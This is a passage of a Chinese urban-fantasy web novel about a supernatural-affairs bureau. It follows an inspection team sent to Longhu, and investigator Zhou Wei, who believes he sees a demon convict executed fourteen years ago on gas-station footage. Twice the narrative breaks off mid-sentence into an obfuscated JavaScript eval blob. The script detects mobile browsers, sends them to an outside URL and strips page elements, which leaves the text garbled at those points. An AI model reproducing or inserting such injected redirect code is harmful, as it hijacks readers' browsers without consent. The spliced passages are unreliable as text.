这司机从外表上看,实在是脱离了大众对于公职人员的刻板印象。本来像周纬那样一身纨绔气质招摇过市的已经算是夸张了,这人却居然更加出格——只见他外表看上去简直像个未成年,一头刺猬般的乱发,发尾挑染成了时髦的银白色,铆钉夹克加破洞牛仔裤的装扮,在珑湖三月刚到零上的温度里,委实是谁看谁都要冻出一身鸡皮疙瘩,实在是个要风度不要温度的晚期患者。 这人身材还不高,被别克宽大的商务驾驶座一衬,更显得手短腿短,像个小正太,与其说是总部派下来调查珑湖市局的监察专员,倒不如说更像个偷偷逃学溜出来上网的中学生。 中学生模样的杨小钱大声嚷嚷道:“骆老不是让我们来给珑湖市局擦屁股的吗?” 此言一出,季凌风和申彦雪全都面色一肃,申彦雪一把推在他手肘上,呵斥道:“小钱,别乱说话!” “哎呀!”杨小钱的声调更高了:“雪姐你别推我,我这儿开车呢!” 骆老——骆明章,前任异监局总部特委会委员,季凌云的老师,正是这次派他们来珑湖跟进调查灵器黑货案的人。 ——其目的也正如杨小钱所说,是来给珑湖市局“擦屁股”的。 * 半月前,徐培风携灵器黑货案的案件报告来到雍京总部,当即给总部投下了一颗重磅炸弹。 新一届特委会召开在即,围绕着这起轰动全国的灵器黑货大案,总部执行局和管理局展开了新一轮的针锋相对。 异监局因其职业特性原因,外勤人员只能由灵力者担任,数量稀少,且长期冲杀在与妖类战斗的第一线,战力强、伤亡大、牺牲多,所以长期以来都笼罩着一层“精英”“英雄”的光环。因此总部执行、管理、技术三局中,历来都是以掌管着外勤干员的执行局为首,话语权也最大。 然而想要维持整个部门的正常运转,只有外勤干员也是不够的。三局中负责事务性工作的管理局,其下掌管着占据监察员数量四分之三的内勤干员,近年来声量越来越大,且对外勤干员隐隐表现出来的优越感也愈发不满。两局高层虽然还维持着表面和平,手底下的人却已经在各种会议上多次爆发过争吵,逐渐暴露出意见不和的倾向。 这次珑湖市爆出的灵器黑货案,无疑是给双方已经愈演愈烈的争端再添了一把火。 执行局在对待妖类的问题上态度激进,历来都主张不应将妖类和人类同等视之,认为对待妖类就应该动用严律酷法;而管理局在这个问题上的态度则要温和得多。这次的灵器黑货案,一定程度上暴露出了《监察法》忽视妖类权益而造成的不良后果,被管理局抓住痛脚,大作了一番文章。 但执行局当然也不甘示弱。为了反驳管理局的意见,他们针对徐培风提交的案件报告提出了一系列质疑,意图削弱这个案件的影响力,将对于《监察法》的质疑转移到对于灵器黑货案本身的质疑上来。两方争执不下,辩论许久,这才导致原本可以简单走完结案流程的一个案子,中间又徒增许多波折。 最终双方达成一致意见,因为徐培风提交的案件报告确实存在诸多疑点,所以决定派遣调查组来珑湖对案件进行进一步调查。 而在调查组的人选上,双方又有一番争议。最终还是那位资格极老的骆明章先生从中调停,选定了季凌云三人作为调查组成员。 “来之前骆老不是交代了吗?”杨小钱大大咧咧地道:“我们这次说是来调查,其实就是来看看,怎么才能给珑湖市局那份漏洞百出的结案报告补窟窿。真不知道那个徐培风是怎么想的,他要上总部交报告,难道就不会把文章做得漂亮一点吗?要是他的报告无懈可击,我们还用费这么多事?” “你小点声!”申彦雪忍无可忍道:“骆老虽然是这个意思,但是明面上的调查工作也必须要做。更何况就算要补窟窿也要先把窟窿找出来,至少从我们手里交上去的这份报告要无懈可击才行……” 然而就在这时,季凌云打断了她的话:“不,我们不是来补窟窿的。” 申彦雪&杨小钱:“……” 只见季凌云腰背笔直,神色严肃,眼神中透露出来的就只有大写的“公平正直”四个大字:“我们接下了调查组的任务,就是要做好案件调查工作。这次我们来珑湖只为灵器黑货案,务必要把这起案子查到干净、透明,彻彻底底、毫无死角为止。” 申彦雪&杨小钱:“……” “彦雪,你做得很好。”季凌云把文件夹递还给申彦雪,用一种满含鼓励的语气道:“继续挖,按照你刚才所说的思路查下去,我相信这个珑湖市局在办案过程中一定存在更多的违规行为,务必要连根拔起,一丝不露地全部挖出来。” 申彦雪一脸牙疼的表情:“组长,你知道自己是站哪边儿吗?” 季凌云严肃道:“我们永远站在公平和正义的那一边。” 申彦雪和杨小钱同时绝倒——又来了! 季凌云——异监局总部最为特立独行的异类,管理局一把手林凡辉的亲侄子、国际事务司司长季正阳的亲儿子,却能同时兼任着执行局行动二处的副处长,在鹰派和鸽派两边都堪称“心腹”。 他能做到这样,就是因为这人是踏踏实实两边不靠——他只认死理,别的委实是一概不认的! 真不愧是异监局总部头号“棒槌”! “棒槌”季凌云对两位下属内心的疯狂吐槽毫无所觉,继续开口道:“另外刚才我想了一下,珑湖市局还有一个人,我认为我们应该重点注意。” “是那个A级妖类李默?”申彦雪接口道:“他的资料我还没来得及看过,但他是第一个下放到地方分局的妖类,结果刚一来珑湖就出了这么大的案子,我也认为他身上有很多疑点……” 然而季凌云打断了她的话:“不是他。” “是珑湖市异监局的监察队长,周纬。”季凌云道:“我发现这个人行事风格非常过激,常有出格之举,这次擅闯夜市动武、私自解除灵枷……还有许多其他乖张的行为,都说明这是一个性格桀骜不驯、视纪律法度如无物的人。这么一个人在监察队长的位置上干了四年之久,我不知道珑湖市异监局是怎么想的。” “另外,我还发现了一个疑点,不是在这次的案子,而是在周纬的个人履历上。”季凌云说着,拿过身边的平板,轻点几下调出档案,递给申彦雪:“看这里。” 申彦雪接过来,只见季凌云指的是周纬入职珑湖市局时的一份推荐材料,她眯着眼睛读了出来:“‘有办案经验和外勤作战基础,四年前曾辅助参与过妖犯抓捕行动,做出突出贡献’……等等,四年前?” 她倏然一愣,意识到了问题所在:“我记得周纬入职珑湖市异监局已经十年了吧?这份材料应该是他刚从灵修学院毕业时写的,那时候的‘四年前’,距离现在岂不是有……十四年了?” “十四年前,周纬才多大?”她惊讶道:“他怎么会有资格参与珑湖市的抓捕行动,还‘做出突出贡献’的?” 季凌云点了点头:“没错,你再看这份推荐材料的落款。” “‘邢海峰’……等等,这不是珑湖市前任异监局局长的名字么?”申彦雪愕然抬头:“一个刚从学院毕业的学生,竟然能请动堂堂异监局给他写推荐材料?” “不止。”季凌云肃然道:“我翻阅了周纬这个人在灵修学院时期的档案资料,他的所有表格中家庭关系一栏都是空白,但所有需要填紧急联系人的地方,他填的都是这个‘邢海峰’。” 申彦雪的眼睛猛然瞪大了:“你的意思是……” 季凌云面色严峻:“我怀疑这个周纬和珑湖市局前任局长邢海峰有着不为人知的利益关系,珑湖市局存在着严重的以权谋私和裙带关系问题。” 申彦雪:“……” 堂堂地方分局的监察队长,居然是个靠裙带关系上位的草包,传出来乐子可真就大了。这件事如果坐实了,珑湖市局从上到下都讨不了好。 那起灵器黑货案也会就此被直接盖过也说不定。毕竟负责查案的地方分局都有这么大问题,这起案子还有什么说服力? 然而就在这时,杨小钱的声音插了起来 “那个,季老大,雪姐,我插句嘴啊……”他没回头,手还在把着方向盘:“我不是为这个叫周纬的开脱,也没搞懂你们说的什么以权谋私、裙带关系……我就是想说,十四年前的那起抓捕行动,我好像有点印象。” “你?”季凌云愣了:“十四年前你才多大?你怎么会知道?” “当然不是我亲眼看到的啦!”杨小钱哭笑不得道:“前段时间我不是帮档案科汇总整理已经被处决的妖犯花名册嘛,偶然看到过这起案子。据我所知,这个案子的妖犯是一只B级钦原,曾经在珑湖市杀了七个人,最后一个刚好就是这个周纬的朋友。周纬是最后一起案子的报案人,同时也是他提供了关键性线索,引导珑湖市局成功抓到了他,当时我记得负责领导整个抓捕行动的,就是这个邢海峰。” “但这不是重点,重点是这个钦原杀了六个人,前五个都是灵力者,尸体都被吃得七零八落了;唯独最后的这个叫陈洺的男生是个普通人,而且死的时候,身边还有一个叫陈筱曼的人类女孩,两个人应该是在约会。” “那只钦原吃人是为了增强妖力,因此杀的应该都是灵力者才对。后来专案组调查了陈洺的社会关系,发现他身边只有周纬一个人是灵力者,所以当时专案组的猜测是,周纬和陈洺长期在一起,陈洺身上沾染了周纬的灵力气息,所以那只钦原才会认错了对象。” 季凌云和申彦雪这下都听明白了:“换言之……” “换言之,那只钦原其实是冲着周纬来的。”杨小钱言简意赅地总结道:“而那一对无辜的凡人情侣,其实是做了周纬的替死鬼。” * 与此同时,周纬和李默已经离开了案发现场,在废弃仓库周边打起了转。 灵力者犯案的情况不是没有,只是相对较少。因为现代社会,即便是身怀异能的灵力者,大多也是在法治社会条条框框的约束中按部就班地长大的,“遵纪守法”四个字已经深入骨髓,没什么事也不会滥用自己的能力去杀人放火。 当然,杀得这么凶残的就更罕见了,所以周纬觉得这次犯案的凶手恐怕多少有点心理问题。 犯罪现场虽然凶残,但也不是一点蛛丝马迹都没留下——实际上凶手留下的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091626|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺大,仓库周边发现了一辆烧焦的面包车。 这就是灵力者犯案跟妖类犯案另一个巨大的不同之处了:人类犯案通常是要借助工具的。 因为哪怕灵力觉醒之后,人类的身体素质会得到一定程度的改造和提升,那也远远无法和妖类这种“人形凶器”相提并论,像这种同时杀三个人的情况,要怎么把三个受害者带到案发现场来都是个大问题。 打个比方,如果是李默要杀人,他完全可以把这三个人绑在一起,捆结实点儿背在背上打包带走,高来高去地走房顶屋檐,躲过一切地面监控——反正背三个人对他来说轻而易举,只是姿势可能不那么美观而已。 但人类要这么做就比较困难了。所以如果是人类灵力者杀人,要把受害者全都带到案发现场来,最大的可能还是借助交通工具。 凶手显然也意识到了这一点,因此在杀人之后,把自己乘坐的交通工具面包车烧毁了,由此可见其具备一定的反侦查意识。 然而,只要有交通工具,就有被监控捕获的可能。这废弃仓库周边的监控虽然稀少,但以如今监控摄像头的密集程度,也不是没有找到的可能。 所以周纬打算先在附近碰碰运气,圈画出有可能捕捉到嫌疑人的监控,实在找不到,再去交警大队调路网记录。 而且他刚好还有帮手。 “前方右拐,上大路。”李默道:“这两侧的小路最近应该没有人走过,嫌疑人不是从这边来的。” 周纬听话地一打方向盘,同时在心里感概——李默真是好用。 李默的感官之灵敏简直令人叹为观止。他在五感全开的情况下,几乎可以把整个仓储区域所有人和事物的动向全部感应得一清二楚。尤其是他的嗅觉之灵敏,甚至可以追溯到某条路上两三天前大概有多少人走过。这种能力要是让公安那边知道了,恐怕拼着违反保密条例也得豁出老命过来抢人。 他依言拐上了大路,不过五分钟,就猛地踩下了刹车 路边赫然出现了一座加油站,门口的两只电子眼如同两位警惕的门神,将大路上的来往车辆尽收眼底。 周纬拿过后排座椅上的笔电和自己的工作证,对李默道:“走吧。” 五分钟后,两人站在加油站的电脑前,看着店员调出来的监控视频。 “根据公安那边的初步勘察结果,案件发生的时间应该是昨天半夜,大概在十一点到凌晨三点之间。”周纬道:“面包车已经被烧毁了,看不出具体车牌,车型也经过了改装。我们重点筛查乘客人数在四人以上的,先看看有多少。” 李默依言快进。他的视力不知道比人类要高出多少,捕捉画面信息的能力简直惊人,视频速度很快从两倍速提高到了四倍、八倍,直到周纬都已经跟不太上了,李默却依然目不转睛,神情专注。 仅过了不到二十分钟,他就抬起了头。 “昨夜十二点到今天凌晨三点,从这条路上驶过的面包车共有十二辆,其中搭乘人数三人以下的有四辆,五人以上的有两辆,三辆非珑湖牌照。剩下的三辆中,有两辆后来又从这条路上驶离了滨海北路,只有一辆再也没有出现过。” 李默点击视频,将其中的某一辆车单独定格在了画面上:“就是这一辆。” 那是一辆再普通不过的面包车,车身破旧,看起来已经开过了不少年头。然而这种落地不过六七万的普通车型,上面竟然贴上了昂贵的全隐私防窥膜,将四面车窗遮挡得严严实实,根本看不见里面坐了到底多少人。 “这辆车虽然无法确定乘坐人数,但我觉得也有一定嫌疑,周队你看……”说到这里,李默才突然发现身边的周纬已经好久没出声了,疑惑地转头看了他一眼:“周队?” 这一眼看过去,李默忽然一愣。 周纬不知看到了什么,脸色竟然有些苍白。他的嘴角无意识地颤抖着,眼睛死死盯着眼前的屏幕,神情是一种几乎难以形容的不可置信。 他轻声道:“……放大。” 李默不知出了什么事,赶紧将屏幕上的画面放大了。 周纬的瞳孔剧烈地一颤。 也许是因为夜晚加油站的灯光太亮,也许是因为角度刚刚好就卡在了这个点上,也许仅仅是因为“冥冥中自有天意”—— 只见那辆面包车昂贵的漆黑防窥膜上,宛如镜子一般影影绰绰地映出了一个人影。那几乎只是一个模糊的影子,根本无法辨析面容和身材,只能看得到那人是正踩在加油站的屋顶上,以一种“飞檐走壁”般的姿势从上空一掠而过。 这个位置本不应该被任何监控捕捉到,然而好巧不巧,那一抹影子就这样倒映在了一辆可疑的面包车、可疑的防窥膜上,被监控摄像头完完整整地记录了下来,又被李默惊人的动态视力捕捉、定格……最终倒映在了周纬的眼瞳里。 一切都好似命中注定。 周纬猛地抓住了李默的手臂。 他喃喃自语道:“他怎么会出现在这里……” 刹那间,面前的黑白视频画面像是变成了一个漩涡,开始扭曲、旋转,渐渐将他带回了十四年前的那个风雨之夜——横空而过的闪电、瓢泼冰冷的大雨,惊恐扭曲到几乎辨认不出的面容……而单薄瘦削的少年在狂风暴雨中奔跑,绝望地奔向一个自己终生无法逃离的噩梦。 从此以后,那个狰狞的身影就永远定格在了他的噩梦中。 李默眼睁睁地看着周纬的脸色变得惨白,身体剧烈地颤抖起来,手上无意识的力道大得像是要把他的手腕捏断。他双眸大睁,目眦欲裂,血丝一根一根地缠绕上了他的眼球,俊秀的面容一时竟然显得有些狰狞。 “他怎么会在这里……他怎么会在这里……” 他的声音逐渐增大,最终变成了掺杂着无限暴怒的怒吼。 “他不是应该已经死了吗?!为什么还会出现在这里!” “钦原!!!——” 35. 罪人 “周队!”李默一声低喝,手掌沉沉地一压周纬肩膀。 周纬浑身一颤。李默的那一句低喝仿佛带着一丝轻微的精神震荡,针一样地扎进了他的耳膜。他豁然抬头,血灌瞳仁,脖颈上的筋脉几欲破皮而出。 恍惚之间他甚至忘记了身在何方,几乎没有认出李默是谁,直到片刻后方才猛然惊醒过来,他转身就走。 李默慌忙拉住他:“周队!你要去哪里?” “放手!”周纬狠狠一甩,然而李默力气太大,他一下竟然没甩脱,反而变成了徒劳无功的挣扎:“我要去找他们!我要让他们给个说法!我……” 他的话音一滞,像是突然反应过来了,蓦地狠狠咬住了嘴唇,将后半句话截断在了唇齿间。 旁边的加油站店员被这突然爆发的争执惊动了,战战兢兢地探出头来看着他们。李默朝那个年轻店员摇了摇头,示意他没事,随即转过身来挡住了周纬,幽邃的眼睛担忧地看着他。 “周队,怎么了?”他道:“发生什么事了?” 仿佛被他这句话刺到了似的,周纬的瞳孔剧烈地颤抖了一下。 他本能地张了张口:“我——” 然而就在他开口的时候,另一个声音在他心里振聋发聩地响了起来。 ——不能告诉他。 不能说。不能开口。不能告诉他。 你觉得你已经洗脱罪孽了吗?你觉得你已经可以卸下这副重担了吗? 你张嘴哀告,是想获得什么?理解,宽恕,还是原谅?你想顾影自怜吗?你想哀哀求告、悲悲切切,以求得眼前之人对你的一丝悲悯和宽慰吗? 你配吗? 周纬狠狠闭了闭眼,眼角的褶皱拉出了一道痛苦而深长的纹路。 他不配。 李默是个多么温柔的人啊……他不了解当年的事,也不认识阿洺,只要自己开口,想必他一定会心生悲怜,宽柔地劝慰自己的吧……他不明真相,只会难过于眼前自己的痛苦,想尽办法帮自己纾解慰藉。 然而这痛苦是他该受的。 他不值得任何人安慰、劝告和纾解,因为他的罪还没赎完。 他更不值得李默这样温柔清澈的人予以宽慰,用自己卑劣的唇舌蒙蔽他无辜的耳目,玷污他一尘不染的心。 更何况有什么必要呢? 这么多年来,他背负着当年的罪孽走过,就像是把自己心剖开,埋下了一颗棘刺横生的种子。那颗种子扎破他的心脏,汲取着他的血肉生长,长得枝繁叶茂、根深蒂固、鲜血淋漓,与他难解难分。他甘之如饴地吮吸着这棵血淋淋的树带给他的痛楚,用剖心之苦日复一日地提醒着自己身为何人、身在何处。这痛苦一日不息,他就知道自己还活着。 这棵树已经在他的心里扎了十四年的根,拔不出来了。 “我……”他睁开眼,喉头艰难地动了动,嘴唇干涩,试了两次才找回了自己的声音:“李默……你相信我吗?” 李默低头看着他,斩钉截铁道:“当然。” ……多么澄净的眼神啊。 大概只有从来无愧于天地、无愧于内心的人,才能拥有这么澄澈坚定的眼神吧。 周纬想,我何德何能,能被这样的眼神注视着呢? 痛苦和愧悔快要将他的心撕烂了。周纬品尝着这痛楚,突然无意识地笑了一下——这才是他熟悉的滋味。 这痛楚像是给他打了一剂强心针,周纬飞快地收拾好了自己的情绪,将所有心情一丝不落地收敛地干干净净,眼神似乎很快就恢复了清明,他抬起头来看着李默:“虽然你说相信我……但我还是要先提醒你一句,这事儿恐怕非常匪夷所思。” “十四年前,当时我还未加入异监局,但是因为上一辈的关系,我认识珑湖市异监局的前任局长。”周纬三言两语把跟自己有关的细节略了过去,只拣重点地说:“当时我跟过局里的一个案子,妖犯是一只B级钦原。他在珑湖市杀了七个人,最后我亲眼看着当时的局长给他戴上灵枷,把他押上了送往总部的押送车。” 他一指视频中,面包车防窥膜上倒映出来的那个影子:“就是这个人。” 李默眨了眨眼睛。 他一时像是没反应过来似的,迟疑着问道:“所以你的意思是说……” “我的意思是,已经被抓捕、被押往总部的那个妖犯钦原,现在又好端端地出现在了珑湖。”周纬点了点头:“对,就是这样。” 李默脱口而出:“怎么可能?” “连续杀害七人已经属于重案犯,对于妖类来说,除了死刑不会有第二种判决方式,这个钦原应该已经死……” “他应该已经死了。”周纬截口打断他:“他于十四年前的6月29日被逮捕,半月后押往总部受审,判处死刑,同年11月初被执行死刑——这个钦原确确实实应该已经死了。” 他抱着双臂站在原地,望着李默的眼神如平湖般无波无澜。 李默缓缓眨了眨眼睛。 直到这时,他才慢慢地反应过来——周纬刚刚问他的那句“你相信我吗”是什么意思。 一个本来应该已经被处决的妖类,十四年后怎么可能又好端端地出现在了珑湖呢?幽灵复生了吗? 那太扯了。 且不说世界上根本就不会有复活这种事,就算有,也不可能发生在妖类身上。妖类死亡之后身躯消散,留下的妖核只是一种纯能量的结晶体,说白了就是一块固态灵砂,除了可能附带着原主的某些特殊属性,其他的跟那些无知无觉的死物没有任何区别。 人类尚且还有灵魂这种东西,可以转世,妖类甚至连转世的可能都没有,又怎么可能复活呢? 可如果不是死而复活,那就只剩下一种可能了——这个钦原根本没死。 那这事儿可就大了。 一个本已经被逮捕、被审判、被处决的妖类,不仅不但没死,甚至摆脱了异监局的监控,恢复了自由身?这意味着什么? 总部执行局全体监察员都是绣花枕头?还是说有人以权谋私,做了人类叛徒? 甚至是这个负责监察、管理整个超自然世界的唯一官方组织,实际上却已经腐败糜烂不堪,从上到下漏成筛子了? 这件事如果查实,对整个异监局系统产生的震动都可以说是颠覆性的。 这事儿简直没法细想。 可是既然不能细想,那就只好往另外一个角度去想了。 比起“妖类复生”或者“异监局出现重大管理漏洞”这件事,显然是另外一种情况可能性更大——那就是周纬看错了。 本来就是这样。一辆疾驰而过的面包车,防窥膜上刚刚好就映出了一个人影?这个人影刚刚好就是十四年前凶案的逃犯?这一幕刚刚好又被监控视频记录了下来?而这段监控视频又刚刚好被十四年前案件的一位亲历者看到,并且认出来了? 这么多的“刚刚好”要是都能同时成立,那周纬的运气强得差不多可以逆转时空、干碎地球了。 更何况那个倒映在防窥膜上的身影本来就是模糊一片,还经过多次扭曲,以李默的视力,第一遍看的时候竟然都有没察觉那是个人影……十四年前周纬才多大?记忆可是会随着时间风化褪色的,都已经过去这么久了,他的记忆真的还准确吗? 怎么看,质疑周纬都要比质疑异监局总部要合理得多。 所以周纬才那样问他。那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091627|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题其实是在问—— “你真的,能那样毫无保留、坚定不移地相信我吗?” 李默轻轻吸了口气。 他转向周纬:“你打算怎么办?直接向总部发文质询么?” 周纬一愣。 他像是没反应过来似的,迟疑地看向李默:“你不……不觉得是我疯了?” “不会。”李默摇了摇头,语调清晰地道:“你刚才的反应不会是假的,你一定很确定这就是十四年前的那个妖犯。既然你确定,那我就相信你。” 与此同时,他也压下了心中的一些疑虑—— 十四年前到底发生了什么案子,能让周纬记忆深刻到过了这么久,还能仅凭一个模糊不清的倒影,就认出当年的凶犯? 而且他当时应该还是未成年,又为什么会参与到异监局的抓捕行动中来? 还有,他刚刚那个反应……面色苍白、浑身颤抖、情绪失控……还有那仿佛不知自己身在何时何处,宛如被拖入了记忆闪回之中一般的表情…… ——那是PTSD的症状么? 周纬:“……” 他的心里突然泛起了一种异样的酥麻感,仿佛心脏深处一块格外柔软、敏感的地方蓦然被戳中了,让他整颗心都忍不住轻轻一颤。 然而还没等他回答,就听见突然响起了一阵急促的铃声——周纬的手机响了。 周纬一愣,接了起来,只听电话那边,传来了何昭华一阵急促而低沉的声音:“喂?周队,你在哪儿?多久能赶回市局?” 周纬一皱眉:“怎么了?” “总部的调查组!这帮人不知道发什么神经,一声招呼都不打就杀来了珑湖,给咱们来了个措手不及,现在人已经在局里坐着了!” 周纬&李默:“……” 两人对视一眼。李默就见周纬忽然唇角一勾,露出了一个扭曲的微笑: “这可真是……瞌睡了就有人送枕头。” 言语间仿佛已经带了血气。 “我们二十分钟后到。”周纬对着电话那头的何昭华开口,语气充满山雨欲来的阴沉: “来得正好。他们来调查我们,我刚好也有一件事……要找他们问清楚。” * 二十分钟后,珑湖市异监局。 周纬刚一下车就感受到了市局内罕见的压抑气氛。何昭华掐着点儿出来等他,一见面就匆匆迎了上来,压低了声音道:“这回恐怕不好,来的人是季凌云。” 周纬一挑眉:“谁?” “季凌云。”何昭华低声道:“总部执行局行动二处副处长,总部最年轻的二级监察员,号称异监局‘明日之星’——管理局国际事务司季司长是他亲爹,林凡辉副部长是他亲姑父。这个人得罪不得”。 周纬发出了一声嗤之以鼻的冷笑。 他道:“那这位‘明日之星’现在在哪儿呢?” “在赵局办公室呢。”何昭华的眉心紧紧地拧成了一团:“这次调查组来得一声招呼都没打,恐怕是动真格的,赵局提前让我出来接你就是让你注意点儿,别口无遮拦地跟人家抬杠——季凌云还带来两个组员,这会儿就在审讯室,已经开始问话了。” 周纬脚步一顿:“审讯室?不是会议室?” 何昭华面色凝重地点了点头。 后面跟着的李默也眉头一皱——要了解情况、例行询问的话,在会议室足矣。结果这个调查组却把问询地点选在了审讯室,很难说不是为了给他们一个下马威。 这是要把珑湖市局的监察员同事,当犯人来审么? “好,那咱们就去审讯室。”周纬冷笑道:“兵来将挡,咱们去会会这群‘钦差大臣’。” 36.质询 审讯室这个地方最近不知走了什么运,赫然有成为珑湖市异监局一大著名打卡点的趋势,凡是从总部下来的,不管什么人都得先到这里露个脸,先是李默,再是“钦差大臣”调查组。 周纬和李默到达审讯室的时候,一场问询正进行到一半。 接受问询的人居然是行动一组组长——燕鹏飞。 审讯室外挤挤挨挨地围了一圈人,几乎无处下脚,人人都在伸头探脑。周纬几人一到,挤作一团的监察员们就给他们自动让开了一条道,一个监察员鬼鬼祟祟地凑到周纬身边,低声道:“周队,来者不善,怎么搞?” 周纬瞥了他一眼,神情冷淡:“什么怎么搞?” 那监察员神情紧张,活像地下党接头,凑近过来以手作刃往下一切,神情狠辣:“我看这回点子硬,得想办法办了他们。” “滚犊子。”周纬一脚踹过去,笑骂道:“少他妈在我跟前发癫。” 那监察员一闪身躲开了,周围人顿时一阵哄笑。 周纬环视一圈,见监察员们紧张之色稍解,心中有了数,于是神情自若地开口: “都围在这儿干什么?该干嘛干嘛去。人家调查组来珑湖,本来就是来督导我们工作的,你们屁事不干在这儿看热闹,就拿这个工作态度和精神面貌展示给人家看?” 监察员们都是一阵挠头讪笑。 调查组莅临珑湖市局,这毕竟是一桩大事,普通监察员们心有忐忑实属正常。调查组把问询地点堂而皇之地设定在审讯室,又不禁止普通监察员围观,很难说没有立威的意思——就跟古代“菜市口杀头”一个路数。 真要让他们把这个威立成了,接下来的问询必定势如破竹,珑湖市局会毫无还手之力地落入下风。 所以周纬首先要干的第一件事,就是先稳住这些普通监察员们的心态。 被他这么一插科打诨,监察员们总算松了口气,感觉主心骨回来了,一颗心顿时放回了肚子里。于是众人纷纷散去,回到了自己的工作岗位上,只留下了李默和何昭华。 周纬一转身,就见何昭华抱着双臂,一脸“还得是你”的佩服表情;而李默站在原地,双目含笑地望着他。 “笑屁啊。”周纬现在一见他那副笑容就浑身不得劲儿,咕哝了一声不去看他,转头望着审讯室内。 而审讯室内,此刻正在进行问询的双方对外面的情况一无所知。 “燕鹏飞,珑湖市异监局监察执法队行动一组组长,对么?”申彦雪推了一下眼镜,用一种例行公事般的平板语气问道:“我们获悉,你曾经于本月初通过内网平台给总部人事科发过一封邮件,抗议将编号为A-1307的监察员李默调职到珑湖市局一事,对么?” 审讯室外的李默:“……” 周纬一巴掌拍在了自己的脑门上。 燕鹏飞的脸颊肌肉紧了紧,硬邦邦地答道:“是。” 申彦雪接着问:“请问你这么做的理由是?” “没有理由,这种事还要什么理由?”燕鹏飞粗声粗气地回答:“我看他不顺眼,不行么?” “这么说贵局存在着对妖类监察员的歧视和不公正对待现象。”申彦雪一边说,旁边杨小钱一顿飞快地敲键盘记录,那噼里啪啦地声音听在耳朵里,让人不由得一阵火大。燕鹏飞猛地瞪圆了双眼,一拍桌子:“我没这么说!你他妈别曲解我的话!” “请控制你的情绪。”申彦雪冷冰冰地道:“我们这么说是有依据的,因为在前后差不多的时间段里,总部人事科收到的内容相似的抗议邮件共计五十六封,可见贵局对于监察员李默的排斥并非个别现象。” 燕鹏飞顿时一噎;审讯室外,周纬差点绝倒——原来他当时说不满意李默留下就去给总部写信抗议的话,还真有人听进去了! 这帮说嘴打脸的完蛋玩意儿! 在他身旁,李默似笑非笑地垂眸看了他一眼。 “既然你否认对监察员李默存在歧视性意见,那我们需要请你对具体情况进行如实说明。”申彦雪继续问道:“请问你现在是否咱赞成李默留任珑湖市异监局?如果你仍旧坚持认为他不应留任,现在可以当面向调查组反映情况。” 出乎意料的,燕鹏飞脸上流露出了一抹复杂的神色。 他身材壮硕,肌肉贲张,身为东亚人却有着近似欧美人种的体格,平时站在人堆里都有种鹤立鸡群的存在感,其他监察员甚至经常打趣他私下灌蛋白粉。而审讯室里的钢制审讯椅是固定规格的,其他人坐的时候还好,可轮到燕鹏飞,那张椅子顿时就显得紧巴局促了起来,他偌大一个塞在里面,顿时就有一种大只、委屈且无助的憋屈感。 如今他脸上又是挣扎又是纠结的,这种憋屈感顿时更上层楼。 最终,纠结半晌,燕鹏飞一咬牙:“……我赞成他留任。” 审讯室外,李默眼中闪过了一丝明显的惊讶。 “他虽然是个妖类,但也不是……不是一点儿用处都没有。”燕鹏飞这段话说得活像牙疼,一侧脸颊不断地轻微抽搐,仿佛自己的舌头跟腮帮子正在口腔内进行一场自由搏击:“半个月前在新莲码头,他帮忙干……干了点儿活,没捣乱也没掉链子,总之就还是……唔……留着吧,反正……反正……反正食堂也不多他一口饭吃。” 他最后那句话说得飞快,说完了就紧紧闭上了嘴,仿佛生怕自己后悔,把刚刚说出口话再叼回来吃了。审讯室外的李默一脸哭笑不得,什么叫“不多他一口饭吃”?他就算是个妖类,自己一个人也不会把异监局食堂吃倒闭了。 然而周纬却察觉到,李默的身体似乎微不可察地稍稍放松了一些。 他偏头低低一笑,没让李默看出来。 周纬知道李默已经意识到了——审讯室的观察窗用的是单向玻璃,在里面的人是看不到外面的情景的,也就是说燕鹏飞根本不知道他们来了,也不知道他们已经把自己刚刚说的话听了个真切。他刚才所说的一切,都是在调查组的压力下,说出来的彻头彻尾的真心话。 “唔。”周纬欣慰地心想:“是个好兆头。” 与此同时,周纬听见审讯室里,申彦雪问道:“这么说,你认为当时在新莲码头大战中,珑湖市异监局监察队长周纬未经允许擅自解封李默灵枷的行为,是正确的了?” 图穷匕见啊,周纬在心里冷笑了一声,心想,终于来了。 既然这问题是冲着他来的,那就没有让燕鹏飞回答的必要了。 于是周纬直接转身,径直推门而入,迎着申彦雪和杨小钱回头惊诧的目光,开口打断了燕鹏飞即将出口的回答。 “两位同志,旁敲侧击的多没意思啊?”他立在门边,抱着双臂,挑衅似的看了那惊立而起的两人一眼,嘴角扬起了一个嚣张的弧度:“我本人就在这里,直接问我如何?” 于此同时,赵昌誉正带着季凌云朝楼下走来。 赵昌誉是一线监察员出身,性格强硬刚直,对谁都不假辞色;而季凌云不愧是“总部第一棒槌”,更是耿直得要命,两人的会面基本就是你来我往地说了一套硬邦邦的场面话,完全没能达成任何有价值的共识。 赵昌誉觉得对方年纪轻轻不识好歹,而季凌云觉得珑湖市局从领导到基层全是一副官僚主义做派。 双方交谈了二十分钟,都成功地没能给彼此留下什么好印象。 而此时,赵昌誉送季凌风下楼,本意是旁听一下问询过程,没想到刚到走廊拐角,就听见周纬那一声“直接问我如何?。 赵昌誉当即剑眉倒竖,声若洪钟地呵斥道:“周纬,放肆!” 周纬:“嗯?” 